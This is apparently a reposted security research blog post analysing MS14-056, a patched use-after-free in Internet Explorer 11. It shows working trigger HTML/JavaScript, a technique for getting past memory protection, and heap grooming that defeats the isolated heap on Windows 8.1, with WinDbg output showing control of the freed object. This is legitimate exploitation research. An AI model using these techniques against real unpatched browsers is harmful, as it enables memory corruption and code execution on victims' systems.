본문 바로가기

취약점 정보1

MS14-056

728x90

USE-AFTER-FREE NOT DEAD IN INTERNET EXPLORER: PART 1

In HITCON X, we talked about bypassing new exploit mitigation in Internet Explorer. In this post, we will use a use-after-free vulnerability which has been patched in MS14-056 to explain how to bypass memory protection and isolated heap in Windows 8.1.

Let's look into the following code first:

<!DOCTYPE html>
<html>
<head>
<title>test</title>
<script>
function listener(event)
{
	head.removeNode(true);
}
function test()
{
	var object = document.createElement("object");
	head = document.getElementsByTagName("head")[0];
	head.applyElement(object, "inside");
	object.addEventListener("error", listener, false);
	var range = document.createRange();
	range.setStartAfter(object);
	range.insertNode(object);
	object["innerHTML"] = object["innerHTML"];
	document.write("");
}
</script>
</head>
<body onload="test()"></body>
</html>
			

Internet Explorer 11 will crash here with page heap enabled and memory protection disabled:

(29c.98c): Access violation - code c0000005 (!!! second chance !!!)
eax=00000005 ebx=07530fe8 ecx=04109fc0 edx=04151cd4 esi=00000005 edi=04109fc0
eip=613fb9fc esp=03eaa89c ebp=03eaa8a4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
MSHTML!CElement::GetFirstCp+0x7:
613fb9fc 8b411c          mov     eax,dword ptr [ecx+1Ch] ds:0023:04109fdc=????????
0:005> !heap -p-a ecx
    address 04109fc0 found in
    _DPH_HEAP_ROOT @ 40b1000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                    40b16e4:          4109000             2000
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\verifier.dll - 
    6e258fc2 verifier!VerifierDisableFaultInjectionExclusionRange+0x00003232
    770e48fc ntdll!RtlDebugFreeHeap+0x00000032
    770a5ed1 ntdll!RtlpFreeHeap+0x00069d01
    7703be35 ntdll!RtlFreeHeap+0x00000485
    6159def9 MSHTML!MemoryProtection::CMemoryProtector::ProtectedFree+0x00000122
    614a0bb5 MSHTML!CNoShowElement::`vector deleting destructor'+0x0000002d
    610359df MSHTML!CBase::SubRelease+0x0000002e
    6146c702 MSHTML!CElement::Release+0x00000018
    61442fdd MSHTML!CSpliceRecordList::~CSpliceRecordList+0x0000006e
    61050506 MSHTML!CDoc::CutCopyMove+0x00002181
    610d3f58 MSHTML!RemoveWithBreakOnEmpty+0x00000068
    6105243d MSHTML!InjectHtmlStream+0x0000021b
    6100226e MSHTML!HandleHTMLInjection+0x00000091
    61476894 MSHTML!CElement::InjectInternal+0x000002a9
    6104f7ad MSHTML!CElement::InjectTextOrHTML+0x0000016d
    6104fa09 MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerHTML+0x00000056
    6cef8e9d jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x00000165
    6cef9712 jscript9!<lambda_73b9149c3f1de98aaab9368b6ff2ae9d>::operator()+0x0000006b
    6cf471af jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0x000000bd
    6cf46ea2 jscript9!Js::JavascriptOperators::OP_SetProperty+0x00000040
    6cf46ee3 jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x0000004d
    6cf478fc jscript9!Js::InterpreterStackFrame::Process+0x00002d6d
    6cef6548 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x000001e8

 
0:005> k
ChildEBP RetAddr  
03eaa8a4 61677ba1 MSHTML!CElement::GetFirstCp+0x7
03eaa8c4 61479cec MSHTML!CTitleElement::Notify+0x5d4c84
03eaadf4 6105248c MSHTML!CDoc::CutCopyMove+0x1b4b
03eaaf44 6100226e MSHTML!InjectHtmlStream+0x26a
03eaaf88 61476894 MSHTML!HandleHTMLInjection+0x91
03eab080 6104f7ad MSHTML!CElement::InjectInternal+0x2a9
03eab100 6104fa09 MSHTML!CElement::InjectTextOrHTML+0x16d
03eab128 6cef8e9d MSHTML!CFastDOM::CHTMLElement::Trampoline_Set_innerHTML+0x56
03eab190 6cef9712 jscript9!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x165
03eab1b0 6cef967e jscript9!<lambda_73b9149c3f1de98aaab9368b6ff2ae9d>::operator()+0x6b
03eab1f8 6cf471af jscript9!Js::JavascriptOperators::CallSetter+0x76
03eab220 6cf46ea2 jscript9!Js::JavascriptOperators::SetProperty_Internal<0>+0xbd
03eab240 6cf46ee3 jscript9!Js::JavascriptOperators::OP_SetProperty+0x40
03eab27c 6cf478fc jscript9!Js::JavascriptOperators::PatchPutValueNoFastPath+0x4d
03eab5c8 6cef6548 jscript9!Js::InterpreterStackFrame::Process+0x2d6d
03eab704 07620fd9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
WARNING: Frame IP not in any known module. Following frames may be wrong.
03eab710 6cef6ce9 0x7620fd9
03eaba58 6cef6548 jscript9!Js::InterpreterStackFrame::Process+0x1cd7
03eabb74 07620fe1 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
03eabb80 6cef0685 0x7620fe1
03eabbc8 6cef100e jscript9!Js::JavascriptFunction::CallFunction<1>+0x88
03eabc34 6cef0f60 jscript9!Js::JavascriptFunction::CallRootFunction+0x93
03eabc7c 6cef0ee7 jscript9!ScriptSite::CallRootFunction+0x42
03eabca4 6cef993c jscript9!ScriptSite::Execute+0x6c
03eabd00 6cef9878 jscript9!ScriptEngineBase::ExecuteInternal<0>+0xbb
03eabd18 610fb78f jscript9!ScriptEngineBase::Execute+0x1c
03eabdcc 610fb67c MSHTML!CListenerDispatch::InvokeVar+0x102
03eabdf8 610fb21e MSHTML!CListenerDispatch::Invoke+0x61
03eabe90 6159cfe0 MSHTML!CEventMgr::_InvokeListeners+0x1a2
03eabea8 61469d60 MSHTML!CEventMgr::_InvokeListenersOnWindow+0x42
03eabf30 610fb385 MSHTML!CEventMgr::_InvokeListeners+0xe5
03eac0a0 60ef98bb MSHTML!CEventMgr::Dispatch+0x35a
03eac0c8 60f2f149 MSHTML!CEventMgr::DispatchEvent+0x8c
03eac0f8 60f2f774 MSHTML!COmWindowProxy::Fire_onload+0x120
03eac158 60f2ea16 MSHTML!CMarkup::OnLoadStatusDone+0x412
03eac16c 60f2e2e3 MSHTML!CMarkup::OnLoadStatus+0xc2
03eac5b0 60f290bd MSHTML!CProgSink::DoUpdate+0x4a7
03eac5bc 60e81f12 MSHTML!CProgSink::OnMethodCall+0x12
03eac600 60e68dda MSHTML!GlobalWndOnMethodCall+0x12c
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\user32.dll - 
03eac64c 76e675b3 MSHTML!GlobalWndProc+0x15c
03eac678 76e677b8 user32!gapfnScSendMessage+0x18b
03eac6f8 76e679e6 user32!gapfnScSendMessage+0x390
03eac758 76e6783b user32!DispatchMessageW+0x1bb
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\IEFRAME.dll - 
03eac764 67478eb4 user32!DispatchMessageW+0x10
03eaf930 674b0a07 IEFRAME!DllCanUnloadNow+0x1541
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\SYSTEM32\iertutil.dll - 
03eaf9e8 6fcc6bac IEFRAME!SetQueryNetSessionCount+0x486
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Internet Explorer\IEShims.dll - 
03eaf9f8 6e21bcf2 iertutil!Ordinal101+0x3b7
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\system32\KERNEL32.DLL - 
03eafa24 753917ad IEShims!IEShims_CreateWindowEx+0x3607
03eafa30 77063af4 KERNEL32!BaseThreadInitThunk+0x12
03eafa74 77063acd ntdll!__RtlUserThreadStart+0x20
03eafa84 00000000 ntdll!_RtlUserThreadStart+0x1b
			

It's a CTitleElement use-after-free vulnerability. However, Internet Explorer won't crash if we enable memory protection, so we add CollectGarbage2 into the code:

<!DOCTYPE html>
<html>
<head>
<title>test</title>
<script>
function CollectGarbage2()
{
	var button = document.createElement("button");
	button.title = new Array(100000).join("0");
	button.title = null;
	CollectGarbage();
}
function listener(event)
{
	head.removeNode(true);
}
function test()
{
	var object = document.createElement("object");
	head = document.getElementsByTagName("head")[0];
	head.applyElement(object, "inside");
	object.addEventListener("error", listener, false);
	var range = document.createRange();
	range.setStartAfter(object);
	range.insertNode(object);
	object["innerHTML"] = object["innerHTML"];
	CollectGarbage2();
	document.write("");
}
</script>
</head>
<body onload="test()"></body>
</html>
			

Internet Explorer 11 will crash here:

(418.172c): Access violation - code c0000005 (!!! second chance !!!)
eax=04959fc0 ebx=049a1b00 ecx=06437fe8 edx=04959ff8 esi=049cffc0 edi=046fac08
eip=61003419 esp=046fabd4 ebp=046fabec iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010287
MSHTML!CTitleElement::Notify+0xcd:
61003419 8b02            mov     eax,dword ptr [edx]  ds:0023:04959ff8=????????
			

We've bypassed memory protection obviously. Let's look into MSHTML!CTitleElement::Notify:

.text:63857828 loc_63857828:
.text:63857828                 test    eax, eax
.text:6385782A                 jz      short loc_63857834
.text:6385782C                 cmp     eax, esi
.text:6385782E                 jnz     loc_63783416
			
.text:63783416 loc_63783416:
.text:63783416                 lea     edx, [eax+38h]
.text:63783419                 mov     eax, [edx] ; retrieve freed CTitleElement and use
.text:6378341B                 jmp     loc_63857828
			

We need to control 0x38 of CTitleElement accordingly. In HITCON X, we manipulate LFH to bypass isolated heap in Windows 7. However, Windows 8 introduces frontend allocation randomization, so manipulating LFH is not a good solution. But backend allocation is not randomized, which can be used to bypass isolated heap.

Let's look into the following code first:

<!DOCTYPE html>
<html>
<head>
<script>
function CollectGarbage2()
{
	var button = document.createElement("button");
	button.title = new Array(100000).join("0");
	button.title = null;
	CollectGarbage();
}
var junk = new Array();
for (var i = 0; i < 4; i++)
{
	junk[i] = document.createElement("title");
}
var title = new Array();
for (var i = 0; i < 4; i++)
{
	title[i] = document.createElement("title");
}
title[2] = null;
CollectGarbage2();
CollectGarbage2();
// 1
</script>
<title>test</title>
<script>
function listener(event)
{
	head.removeNode(true);
}
function test()
{
	// 2
	var object = document.createElement("object");
	head = document.getElementsByTagName("head")[0];
	head.applyElement(object, "inside");
	object.addEventListener("error", listener, false);
	var range = document.createRange();
	range.setStartAfter(object);
	range.insertNode(object);
	object["innerHTML"] = object["innerHTML"];
	title[0] = null;
	title[1] = null;
	title[3] = null;
	CollectGarbage2();
	CollectGarbage2();
	// 3
	var area = new Array();
	for (var i = 0; i < 0x11; i++)
	{
		area[i] = document.createElement("area");
	}
	for (var i = 0; i < 0x11; i++)
	{
		area[i].shape = "rect";
		area[i].coords = "1094795585,1094795585,1094795585,1094795585";
	}
	// 4
	document.write("");
}
</script>
</head>
<body onload="test()"></body>
</html>
			

We disable page heap to see how to bypass isolated heap.

1. First, we create 4 CTitleElement to prevent heap coalescing with previous heap. Then, we create another 4 CTitleElement and make a hole.

030e4500 0009 0009  [00]   030e4508    00040 - (busy) // junk[3]
  MSHTML!CTitleElement::`vftable'
030e4548 0009 0009  [00]   030e4550    00040 - (busy) // title[0]
  MSHTML!CTitleElement::`vftable'
030e4590 0009 0009  [00]   030e4598    00040 - (busy) // title[1]
  MSHTML!CTitleElement::`vftable'
030e45d8 0009 0009  [00]   030e45e0    00040 - (free) // hole
030e4620 0009 0009  [00]   030e4628    00040 - (busy) // title[3]
  MSHTML!CTitleElement::`vftable'
			

2. We fill the hole with the use-after-free CTitleElement. We need to control 0x030e45e0 + 0x38.

030e4500 0009 0009  [00]   030e4508    00040 - (busy) // junk[3]
  MSHTML!CTitleElement::`vftable'
030e4548 0009 0009  [00]   030e4550    00040 - (busy) // title[0]
  MSHTML!CTitleElement::`vftable'
030e4590 0009 0009  [00]   030e4598    00040 - (busy) // title[1]
  MSHTML!CTitleElement::`vftable'
030e45d8 0009 0009  [00]   030e45e0    00040 - (busy) // the use-after-free CTitleElement
  MSHTML!CTitleElement::`vftable'
030e4620 0009 0009  [00]   030e4628    00040 - (busy) // title[3]
  MSHTML!CTitleElement::`vftable'
			

3. We trigger freeing of the use-after-free CTitleElement and free other CTitleElement of the title array to trigger heap coalescing.

030e4500 0009 0009  [00]   030e4508    00040 - (busy) // junk[3]
  MSHTML!CTitleElement::`vftable'
030e4548 0024 0009  [00]   030e4550    00118 - (free) // coalesced heap
			

4. We fill the coalesced heap with CAreaElement to control 0x030e45e0 + 0x38.

030e4500 0009 0009  [00]   030e4508    00040 - (busy)
  MSHTML!CTitleElement::`vftable'
030e4548 000e 0009  [00]   030e4550    00064 - (busy)
  MSHTML!CAreaElement::`vftable'
030e45b8 000e 000e  [00]   030e45c0    00064 - (busy)
  MSHTML!CAreaElement::`vftable'
			
0:006> dd 0x030e45e0 + 0x38
030e4618  41414141 00000000 00000001 00000000
030e4628  64548e48 0000d8fa 030e4cf0 030e58a0
030e4638  00000000 00000000 00000000 00000000
030e4648  00000000 00000000 00000000 00000000
030e4658  00000000 00000000 00000000 00000000
030e4668  61558e4c 0800d8fc 00000000 00000000
030e4678  00000000 00000000 00000000 00000000
030e4688  00000000 00000000 00000000 00000000
			

As we can see, we've bypassed isolated heap.

(818.a74): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=030e5300 ecx=00ae7f88 edx=41414179 esi=030e7400 edi=02fdabd8
eip=72cd3419 esp=02fdaba4 ebp=02fdabbc iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
MSHTML!CTitleElement::Notify+0xcd:
72cd3419 8b02            mov     eax,dword ptr [edx]  ds:002b:41414179=????????


728x90